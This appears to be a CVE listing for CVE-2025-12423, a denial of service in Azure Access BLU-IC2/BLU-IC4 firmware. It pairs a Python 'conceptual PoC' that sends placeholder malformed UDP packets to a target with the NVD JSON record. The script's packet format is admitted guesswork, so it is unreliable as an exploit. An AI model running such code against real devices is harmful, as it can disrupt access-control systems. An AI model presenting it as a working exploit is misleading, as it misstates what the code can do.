CVE-2025-12423

#!/usr/bin/env python3 """ CVE-2025-12423 PoC - BLU-IC2/BLU-IC4 Protocol Manipulation DoS Note: This is a conceptual PoC for educational and security research purposes only. """ import socket import struct import sys def create_malicious_packet(): """ Create a malicious protocol packet to trigger the vulnerability. The exact packet structure depends on the specific protocol implementation. """ # Generic protocol header structure (example) header = b'\x00\x01' # Protocol version/type flags = b'\x00' # Control flags # Malicious payload that may trigger the protocol parsing issue # This is a placeholder - actual exploitation requires protocol analysis payload = b'\xff' * 1024 # Oversized or malformed payload # Sequence number and length fields seq_num = struct.pack('!I', 0x00000001) length = struct.pack('!I', len(payload)) # Combine packet components packet = header + flags + seq_num + length + payload return packet def exploit_blu_ic(target_ip, target_port=8080): """ Send malicious packets to trigger CVE-2025-12423 Args: target_ip: Target device IP address target_port: Target device port (default: 8080) """ try: print(f"[*] Starting CVE-2025-12423 exploit against {target_ip}:{target_port}") print(f"[*] Target: BLU-IC2/BLU-IC4 Protocol Manipulation DoS") # Create malicious packet packet = create_malicious_packet() # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Send multiple malicious packets print(f"[*] Sending malicious protocol packets...") for i in range(10): sock.sendto(packet, (target_ip, target_port)) print(f"[*] Sent packet {i+1}") sock.close() print(f"[+] Exploit packets sent successfully") print(f"[!] Check if target service is still responsive") except socket.error as e: print(f"[-] Socket error: {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit_blu_ic(target, port)

{"cve": {"id": "CVE-2025-12423", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-28T19:15:41.253", "lastModified": "2025-11-07T14:52:25.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Protocol manipulation might lead to denial of service.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5 ."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}